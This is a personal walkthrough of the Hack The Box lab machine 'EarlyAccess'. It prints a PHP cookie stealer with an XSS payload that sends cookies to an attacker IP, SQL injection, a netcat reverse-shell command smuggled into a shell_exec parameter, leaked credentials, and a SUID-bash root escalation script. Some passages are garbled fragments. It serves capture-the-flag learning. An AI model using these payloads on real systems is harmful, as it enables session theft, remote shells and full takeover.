4. Own one of the Linux based machines on Htb
Introduction
Lets get right into it
Reconnaisance
Nmap 10.10.11.110
Start VNC
Open browser + burp (disable proxy)
Add earlyaccess.htb to etc hosts
Open webpage
Run dirb & ffuf in the background
See register & login button
Create account test test@test testtest
Login
Browse contents of ‘gamestore’ webshop
Key-format: AAAAA-BBBBB-CCCC1-DDDDD-1234
Many OWASP attempts (in messaging)
Exploitation
Username works for XSS
Its read out when sending message to admin
There’s a specific ‘
earlyaccess_session’ cookie token, in normal boxes if cookies arent the objective there’s usually only a phpsessidUsing the built-in PHP engine to host a cookie stealer
$ php -S 0.0.0.0:8082
<?php
$cookie = $_GET['cookie'];
$fp = fopen('log.txt', 'a+');
fwrite($fp, 'Cookie:' .$cookie.'\r\n');
fclose($fp);
?>
Update name with XSS included
'<script>var i=new Image;i.src="http://10.10.14.106:8082/stealer2.php?cookie="+document.cookie;</script>
Send a message via contact us to admin, takes around 30 seconds for admin to read it
After 30 seconds got an Unsupported Request SSL error in my built in PHP server
Googling for a while and decided to just put up Apache with SSL on my Kali machine, if that didn’t work I would have quit this machine
'<script>var i=new Image;i.src="https://10.10.14.106/index.php?cookie="+document.cookie;</script>
Tailed the log.txt (see above block) and saw the Cookie being injected into the file
Injected the cookies into the browser
Success!
Recon.. again..
The most interesting parts of the admin panel are a page to download python code related to activating game keys
Back to exploitation
$ python3 validate.py (key)
#!/usr/bin/env python3
import sys
from re import match
class Key:
key = ""
magic_value = "XP" # Static (same on API)
magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min)
def __init__(self, key:str, magic_num:int=346):
self.key = key
if magic_num != 0:
self.magic_num = magic_num
@staticmethod
def info() -> str:
return f"""
# Game-Key validator #
Can be used to quickly verify a user's game key, when the API is down (again).
Keys look like the following:
AAAAA-BBBBB-CCCC1-DDDDD-1234
Usage: {sys.argv[0]} <game-key>"""
def valid_format(self) -> bool:
return bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", self.key))
def calc_cs(self) -> int:
gs = self.key.split('-')[:-1]
return sum([sum(bytearray(g.encode())) for g in gs])
def g1_valid(self) -> bool:
g1 = self.key.split('-')[0]
r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])]
if r != [221, 81, 145]:
return False
for v in g1[3:]:
try:
int(v)
except:
return False
return len(set(g1)) == len(g1)
def g2_valid(self) -> bool:
g2 = self.key.split('-')[1]
p1 = g2[::2]
p2 = g2[1::2]
return sum(bytearray(p1.encode())) == sum(bytearray(p2.encode()))
def g3_valid(self) -> bool:
# TODO: Add mechanism to sync magic_num with API
g3 = self.key.split('-')[2]
if g3[0:2] == self.magic_value:
return sum(bytearray(g3.encode())) == self.magic_num
else:
return False
def g4_valid(self) -> bool:
return [ord(i)^ord(g) for g, i in zip(self.key.split('-')[0], self.key.split('-')[3])] == [12, 4, 20, 117, 0]
def cs_valid(self) -> bool:
cs = int(self.key.split('-')[-1])
return self.calc_cs() == cs
def check(self) -> bool:
if not self.valid_format():
print('Key format invalid!')
return False
if not self.g1_valid():
print('g1')
return False
if not self.g2_valid():
print('g2')
return False
if not self.g3_valid():
print('g3')
return False
if not self.g4_valid():
print('g4')
return False
if not self.cs_valid():
print('[Critical] Checksum verification failed!')
return False
return True
if __name__ == "__main__":
if len(sys.argv) != 2:
print(Key.info())
sys.exit(-1)
input = sys.argv[1]
validator = Key(input)
if validator.check():
print(f"Entered key is valid!")
else:
print(f"Entered key is invalid!")
Is it possible to easily reverse engineer this Python code? (and I gave him an example listed below)
r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])]
Python
The user has a page where someone can submit a key
An admin can validate the key with a seperate page
The website also has a support page that is setup like a forum
In one of the support tickets someone is complaining about a
gamebreaking when you hit 99 scoreThe output of my fuff shows that there’s a game. subdomain website.
My guess is the next part is to submit a valid key, and use the user to login to the game website to continue pivoting upwards
X3LAB -VPKUR-AAAAA-6KWER-12345r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])]
VPKUR -AAAAA-6KWER-12345p1 = g2[::2]
p2 = g2[1::2]
return sum(bytearray(p1.encode())) == sum(bytearray(p2.encode()))
AAAAA -6KWER-12345if g3[0:2] == self.magic_value:
return sum(bytearray(g3.encode())) == self.magic_num
6KWER -12345return [ord(i)^ord(g) for g, i in zip(self.key.split('-')[0], self.key.split('-')[3])] == [12, 4, 20, 117, 0]
12345cs = int(self.key.split('-')[-1])
return self.calc_cs() == cs
from re import match
### This is where you put the key, I put an example to prevent spoiling
key = "X3LAB-VPKUR-AAAAA-6KWER-12345"
valid = bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", key))
print("Is the key valid? ", valid)
#### g1 discovered through bruteforcing all characters, its simply key
#### shouldve known string doesnt parse unless theres 5 char in
#### that block tho you can lengthen the enum range and have the entire alphabet and
#### all the nummers in the first portion to give you can idea how to shift your cipher
#### So what I did here is I adjusted the enum range from 0 to 255 and included a-z, 0-9 in the first part of the key to see the codes
real = "[221, 81, 145]"
g1 = key.split('-')[0]
# Only first 3 characters relevant from first part of the serial
r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])]
print("What it needs to be: ", real)
print("What it currently is: ", r)
#### g2 discovered by putting g1 on 0 and shifting g2 until the encode pattern matched
#### This takes the first, middle and last character and the second and fourth character and matches them in encode. I tested out with AAAAA AAAA1 A1111 etc. until I found the matching key.
g2 = key.split('-')[1]
p1 = g2[::2]
p2 = g2[1::2]
print("First part: " + p1)
print ("Second part: " + p2)
# So it seems we always get 3 characters on p1 and only 2 on p2
print("Encode P1 = ", sum(bytearray(p1.encode())))
print("Encode P2 = ", sum(bytearray(p2.encode())))
# Interesting.
if sum(bytearray(p1.encode())) == sum(bytearray(p2.encode())):
print("First and second part match G2 passed")
else:
print("First and second part do not match")
#### g3
g3 = key.split('-')[2]
magic_value = "XP"
magic_num = 346
print ("Part of the serial that needs to be XP but currently is: " + g3[0:2])
value = sum(bytearray(g3.encode()))
print ("Value needs to be: ", value)
# Answer needs to be 346, starting with XP--- and 3 blanks (for ex: XP123)
# XP = 168, 346 - 168 = 178
# 3 characters to form 178
tester = sum(bytearray("PUTKY".encode()))
print ("Value is: ", tester)
if g3[0:2] == magic_value:
print("Magic value matches")
else:
print("Magic value does not match")
magicnumbermatcher = 'numbermatcher'
if sum(bytearray(g3.encode())) == magic_num:
print("Magic value nunmber matches")
else:
print("Magic value number does not match")
### g4 checker
# Tried 11111 as string first, which revealed the string ends with 1
# Tried AAAA1 as a string next, which revealed the A to be in the second pos
# 20 minutes of bruteforcing combinations later..
print("Fourth cipher: " + key.split('-')[3])
print("Answer: [12, 4, 20, 117, 0]")
[ord(i)^ord(g) for g, i in zip(key.split('-')[0], key.split('-')[3])] == [12, 4, 20, 117, 0]
print("Current: ", [ord(i)^ord(g) for g, i in zip(key.split('-')[0], key.split('-')[3])])
# The final destination.. the cs_validator
# To figure this out I took the code from calc_cs and ran it against print,
# it was 1__5 so I tried that first as the cipher.. and it worked!
cs = int(key.split('-')[-1])
print("CS value: ", cs)
gs = key.split('-')[:-1]
calculated_gs = sum([sum(bytearray(g.encode())) for g in gs])
print ("Needs to be: ", calculated_gs)
# "TODO: Sync with API (api generates magic_num every 30min)"
magic_num - so the next task is to retrieve the magic num and rerun the third portion of the key and use the new cipher to figure out the decoded string.magic_num but cannot find it. To brute force it, one would have the following possible combinations:XP portion of the third cipher that the key has a min ofRecon
Studied the burpsuite intercept both on admin and user to see if the key was interceptable - no success
Configured the burp proxy in ``POST``man to see if the key was grabbable through different ways - no success
Create a ticket with the code as the title and description - no success
A few days later..
if g3[0:2] == self.magic_value:
return sum(bytearray(g3.encode())) == self.magic_num
XPAA0. With the bytearray encode it results to 346. If we change it into XPAA0 the byte encode results to 347. Interesting. We know from our previous calculations that it’s a range between 314 and 438.XPAB0 (347)
XPBA0 (347)
XPBB0 (348)
XPAC0 (348)
key = ""
keylist = [chr(i) for i in range(ord('A'),ord('Z')+1)]
count = 0
results = []
for keys in keylist:
new_key = key+keys+keys+"0"
if sum(bytearray(new_key.encode())) in results:
print ("Dup key")
else:
key_value = sum(bytearray(new_key.encode()))
count=count+1
print("Key: XP" + new_key, "Value:",key_value, "Entry no#: ", count)
results.append(key_value)
new_key = new_key.replace("0","1")
if sum(bytearray(new_key.encode())) in results:
print ("Dup key")
else:
key_value = sum(bytearray(new_key.encode()))
count=count+1
print("Key: XP" + new_key, "Value:",key_value, "Entry no#: ", count)
results.append(key_value)
new_key = new_key.replace("1","2")
if sum(bytearray(new_key.encode())) in results:
print ("Dup key")
else:
key_value = sum(bytearray(new_key.encode()))
count=count+1
print("Key: XP" + new_key, "Value:",key_value, "Entry no#: ", count)
results.append(key_value)
new_key = new_key.replace("2","3")
if sum(bytearray(new_key.encode())) in results:
print ("Dup key")
else:
key_value = sum(bytearray(new_key.encode()))
count=count+1
print("Key: XP" + new_key, "Value:",key_value, "Entry no#: ", count)
results.append(key_value)
new_key = new_key.replace("3","4")
if sum(bytearray(new_key.encode())) in results:
print ("Dup key")
else:
key_value = sum(bytearray(new_key.encode()))
count=count+1
print("Key: XP" + new_key, "Value:",key_value, "Entry no#: ", count)
results.append(key_value)
new_key = new_key.replace("4","5")
if sum(bytearray(new_key.encode())) in results:
print ("Dup key")
else:
key_value = sum(bytearray(new_key.encode()))
count=count+1
print("Key: XP" + new_key, "Value:",key_value, "Entry no#: ", count)
results.append(key_value)
new_key = new_key.replace("5","6")
if sum(bytearray(new_key.encode())) in results:
print ("Dup key")
else:
key_value = sum(bytearray(new_key.encode()))
count=count+1
print("Key: XP" + new_key, "Value:",key_value, "Entry no#: ", count)
results.append(key_value)
new_key = new_key.replace("6","7")
if sum(bytearray(new_key.encode())) in results:
print ("Dup key")
else:
key_value = sum(bytearray(new_key.encode()))
count=count+1
print("Key: XP" + new_key, "Value:",key_value, "Entry no#: ", count)
results.append(key_value)
new_key = new_key.replace("7","8")
if sum(bytearray(new_key.encode())) in results:
print ("Dup key")
else:
key_value = sum(bytearray(new_key.encode()))
count=count+1
print("Key: XP" + new_key, "Value:",key_value, "Entry no#: ", count)
results.append(key_value)
new_key = new_key.replace("8","9")
if sum(bytearray(new_key.encode())) in results:
print ("Dup key")
else:
key_value = sum(bytearray(new_key.encode()))
count=count+1
print("Key: XP" + new_key, "Value:",key_value, "Entry no#: ", count)
results.append(key_value)
print("Count = ", count)
print(results)
API key acquired
Warning
If you want to solve this cryptographic puzzle yourself, do not open the spoiler below!
Possible key combinations
KEY01-0H0H0-XPAA0-GAME1-1295
KEY01-0H0H0-XPAA1-GAME1-1296
KEY01-0H0H0-XPAA2-GAME1-1297
KEY01-0H0H0-XPAA2-GAME1-1298
KEY01-0H0H0-XPAA2-GAME1-1299
KEY01-0H0H0-XPAA2-GAME1-1299
KEY01-0H0H0-XPAA2-GAME1-1299
KEY01-0H0H0-XPAA2-GAME1-1299
KEY01-0H0H0-XPAA2-GAME1-1299
KEY01-0H0H0-XPAA2-GAME1-1299
KEY01-0H0H0-XPAA2-GAME1-1299
KEY01-0H0H0-XPAA2-GAME1-1299
KEY01-0H0H0-XPAA2-GAME1-1299
KEY01-0H0H0-XPAA2-GAME1-1299
KEY01-0H0H0-XPAA2-GAME1-1299
KEY01-0H0H0-XPAA2-GAME1-1299
KEY01-0H0H0-XPAA2-GAME1-1299
Warning
Again, scrolling down below will lead you inevitably to huge spoilers. Beyond this point, there’s no going back!
key = ""
keylist = [chr(i) for i in range(ord('A'),ord('Z')+1)]
count = 0
results = []
for keys in keylist:
new_key = key+keys+keys+"0"
starting_cipher = 1295
if sum(bytearray(new_key.encode())) in results:
pass
else:
key_value = sum(bytearray(new_key.encode()))
count=count+1
print("KEY01-0H0H0-XP" + new_key + "-GAME1-"+str(starting_cipher+count-1))
results.append(key_value)
new_key = new_key.replace("0","1")
if sum(bytearray(new_key.encode())) in results:
pass
else:
key_value = sum(bytearray(new_key.encode()))
count=count+1
print("KEY01-0H0H0-XP" + new_key + "-GAME1-"+str(starting_cipher+count-1))
results.append(key_value)
new_key = new_key.replace("1","2")
if sum(bytearray(new_key.encode())) in results:
pass
else:
key_value = sum(bytearray(new_key.encode()))
count=count+1
print("KEY01-0H0H0-XP" + new_key + "-GAME1-"+str(starting_cipher+count-1))
results.append(key_value)
new_key = new_key.replace("2","3")
if sum(bytearray(new_key.encode())) in results:
pass
else:
key_value = sum(bytearray(new_key.encode()))
count=count+1
print("KEY01-0H0H0-XP" + new_key + "-GAME1-"+str(starting_cipher+count-1))
results.append(key_value)
new_key = new_key.replace("3","4")
if sum(bytearray(new_key.encode())) in results:
pass
else:
key_value = sum(bytearray(new_key.encode()))
count=count+1
print("KEY01-0H0H0-XP" + new_key + "-GAME1-"+str(starting_cipher+count-1))
results.append(key_value)
new_key = new_key.replace("4","5")
if sum(bytearray(new_key.encode())) in results:
pass
else:
key_value = sum(bytearray(new_key.encode()))
count=count+1
print("KEY01-0H0H0-XP" + new_key + "-GAME1-"+str(starting_cipher+count-1))
results.append(key_value)
new_key = new_key.replace("5","6")
if sum(bytearray(new_key.encode())) in results:
pass
else:
key_value = sum(bytearray(new_key.encode()))
count=count+1
print("KEY01-0H0H0-XP" + new_key + "-GAME1-"+str(starting_cipher+count-1))
results.append(key_value)
new_key = new_key.replace("6","7")
if sum(bytearray(new_key.encode())) in results:
pass
else:
key_value = sum(bytearray(new_key.encode()))
count=count+1
print("KEY01-0H0H0-XP" + new_key + "-GAME1-"+str(starting_cipher+count-1))
results.append(key_value)
new_key = new_key.replace("7","8")
if sum(bytearray(new_key.encode())) in results:
pass
else:
key_value = sum(bytearray(new_key.encode()))
count=count+1
print("KEY01-0H0H0-XP" + new_key + "-GAME1-"+str(starting_cipher+count-1))
results.append(key_value)
new_key = new_key.replace("8","9")
if sum(bytearray(new_key.encode())) in results:
pass
else:
key_value = sum(bytearray(new_key.encode()))
count=count+1
print("KEY01-0H0H0-XP" + new_key + "-GAME1-"+str(starting_cipher+count-1))
results.append(key_value)
print("Count = ", count)
print(results)
POST on the key page, and then primed my Burpsuite with all of the possible keys. I had to enable an option to enable redirects because I noticed during the first run that I kept getting redirects. After enabling this option, & rerunning Burpsuite I waited until the list was parsed.
Important
Working key!
Pivot
SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'i=new Image;i.src="https://10.10.14.93/index.php?cookie="+document.cookie;</scri' at line 1
') UNION SELECT name,name,password FROM users #
$ hashcat -a 0 -m 100 admin.hash /usr/share/wordlists/rockyou.txt
618292e936625aca8df61d5fff5c06837c49e491:gameover
http://dev.earlyaccess.htb/home.php?tool=hashing
POST on this and found a few interesting fields.action=hash&redirect=true&password=asd&hash_function=md5
1<?php
2include_once "../includes/session.php";
3
4function hash_pw($hash_function, $password)
5{
6 // DEVELOPER-NOTE: There has gotta be an easier way...
7 ob_start();
8 // Use inputted hash_function to hash password
9 $hash = @$hash_function($password);
10 ob_end_clean();
11 return $hash;
12}
13
14try
15{
16 if(isset($_REQUEST['action']))
17 {
18 if($_REQUEST['action'] === "verify")
19 {
20 // VERIFIES $password AGAINST $hash
21
22 if(isset($_REQUEST['hash_function']) && isset($_REQUEST['hash']) && isset($_REQUEST['password']))
23 {
24 // Only allow custom hashes, if `debug` is set
25 if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug']))
26 throw new Exception("Only MD5 and SHA1 are currently supported!");
27
28 $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']);
29
30 $_SESSION['verify'] = ($hash === $_REQUEST['hash']);
31 header('Location: /home.php?tool=hashing');
32 return;
33 }
34 }
35 elseif($_REQUEST['action'] === "verify_file")
36 {
37 //TODO: IMPLEMENT FILE VERIFICATION
38 }
39 elseif($_REQUEST['action'] === "hash_file")
40 {
41 //TODO: IMPLEMENT FILE-HASHING
42 }
43 elseif($_REQUEST['action'] === "hash")
44 {
45 // HASHES $password USING $hash_function
46
47 if(isset($_REQUEST['hash_function']) && isset($_REQUEST['password']))
48 {
49 // Only allow custom hashes, if `debug` is set
50 if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug']))
51 throw new Exception("Only MD5 and SHA1 are currently supported!");
52
53 $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']);
54 if(!isset($_REQUEST['redirect']))
55 {
56 echo "Result for Hash-function (" . $_REQUEST['hash_function'] . ") and password (" . $_REQUEST['password'] . "):<br>";
57 echo '<br>' . $hash;
58 return;
59 }
60 else
61 {
62 $_SESSION['hash'] = $hash;
63 header('Location: /home.php
debug=true to the POST (through Burp) I could run shell commands through password by making hash_function run shell_exec. Being pretty confident, I set up my nc -nvlp 4242 and then I intercepted the POST once more, and injected my own version of it.action=hash&redirect=true&password=nc+10.10.14.93+4242+-e+/bin/sh&hash_function=shell_exec&debug=true
Second foothold
python3 -c 'import pty; pty.spawn("/bin/sh")'
su -l www-adm (login as www-adm) to get an even better shell. The password was the same as the admin password (gameover); now we have a proper shell..wgetrc (hidden), in this file the following contents can be foundwww-adm@webserver:~$ cat .wgetrc
cat .wgetrc
user=api
password=s3CuR3_API_PW!
╔══════════╣ Unexpected in root
/.dockerenv
lsof -i -P -n
netstat -tulpn
ss -tulpn
Understanding the env.
127.0.0.11:33613 - 0.0.0.0:0
0.0.0.0:80 - 0.0.0.0:0
0.0.0.0:443 - 0.0.0.0:0
172.18.0.102:80 - 10.10.14.110:35996
172.18.0.102:80 - 10.10.14.110:36140
172.18.0.102:80 - 10.10.14.110:36044
172.18.0.102:53728 - 172.18.0.100:3306
172.18.0.102:80 - 10.10.14.110:36002
172.18.0.102:33486 - 10.10.14.110:4242
172.18.0.102:80 - 10.10.14.110:35956
172.18.0.102:60772 - 10.10.14.110:4242
172.18.0.102:80 - 10.10.14.110:36048
172.18.0.102:56130 - 172.18.0.100:3306
172.18.0.102:60148 - 172.18.0.100:3306
172.18.0.102:80 - 10.10.14.110:36006
172.18.0.102:80 - 10.10.14.110:36056
172.18.0.102:80 - 10.10.14.144:42283
172.18.0.102:80 - 10.10.14.110:36060
172.18.0.102:58394 - 10.10.14.110:8081
172.18.0.102:35472 - 10.10.14.144:4444
172.18.0.102:80 - 10.10.14.110:36018
172.18.0.102:80 - 10.10.14.110:36010
172.18.0.102:54674 - 172.18.0.100:3306
172.18.0.102:60144 - 172.18.0.100:3306
172.18 range was most likely the docker containers mentioned above. MySQL had connections to many different routes. So this 172.18 subnet requires further enumeration. There’s 172.18.0.100 and 172.18.0.102 that has connections to this machine. Enumerating this was lucky guess-work. I found a scan script on the internet and modified it to my needs to manually check each IP in this block for interesting results. I began with the .100 IP-address, this IP was running 3306``(mySQL) and ``33060 an unknown port but I assumed this was mySQL related. The next IP had a very interesting result that being the 172.18.0.101 which had open port 5000. The 172.18.0.102 had 80 (http) 443 (https) which I assumed was the front-end. After collecting these results I began to knock on the ports to see what was running on them.www-adm@webserver:/tmp$ curl 172.18.0.101:5000
curl 172.18.0.101:5000
{"message":"Welcome to the game-key verification API! You can verify your keys via: /verify/<game-key>. If you are using manual verification, you have to synchronize the magic_num here. Admin users can verify the database using /check_db.","status":200}
172.18.0.101:5000/check_db output results in invalid auth. LinPeas has given me some interesting credentials I could try and using on this endpoint.
Credentials
"MYSQL_USER=drew",
"MYSQL_PASSWORD=drew",
"MYSQL_ROOT_PASSWORD=XeoNu86JTznxMCQuGHrGutF3Csq5",
$ ssh [email protected]
User flag
/opt/docker-entrypoint.d/node-server.sh - of course, there was loads of additional information leading to rabbit-holes, I won’t be discussing those rabbit holes in this write-up. You can literally write a novel about the bunny-holes in this challenge See the image below as an example.
node-server.sh has a pretty simple function; it starts SSH and cd’s into /usr/src/app/ (which does not exist on Drew) and installs NPM. The script is read-only and ran by root. I could tell by the time it took(over 2 weeks) to get to this user flag, it will be easier to obtain the root flag.game-tester@game-server. I ran this SSH script against multiple IP’s found in Linpeas and eventually connected to 172.19.0.2. What I found in here was another instance of the node-server.sh This file is shared between Drew & this game-tester docker container. This game-tester has a /usr/src/app/ in it, there’s a server.js - which in itself isn’t very useful save for one feature: /autoplay. Why is this feature important? You could break the API by submitting an invalid integer - and from the mail above, we have determined that the API will then be restarted. So with the job that’s resetting the API a minute after it crashes leaves us with a gap to try and manipulate the contents of the node-server.sh before it is replaced by another script. We inject our own malicious code into it by the Drew account. That code looks like this:#!/bin/bash
while true
do
cp /tmp/node-server.sh /opt/docker-entrypoint.d/node-server.sh
done
node-server.sh before it is replaced by the reset function. The goal of this is to have the docker-container execute the script and become root. The code from above I also put into the /tmp/ directory (of Drew user) and then ran it.Root exploitation
node-server.sh I created in the /tmp/ directory.#!/bin/bash
cp /bin/bash tmp/bash
chown root:root /tmp/bash
chmod u+s /tmp/bash
game-tester account, which could easily be done via:curl -X ``POST`` -d "rounds=3.333333333" http://172.19.0.3:9999/autoplay
Root flag
game-tester running it with ./bash -P gave me a docker root shell access. No flags on this container, so we needed to apply the same methodology but then in reverse to get the root flag via Drew. Since this shell had root access, with a simple cp /bin/bash bash and a chown root:root bash finished with chmod u+s bash when going back to Drew and re-running the ./bash -P gave us the root flag.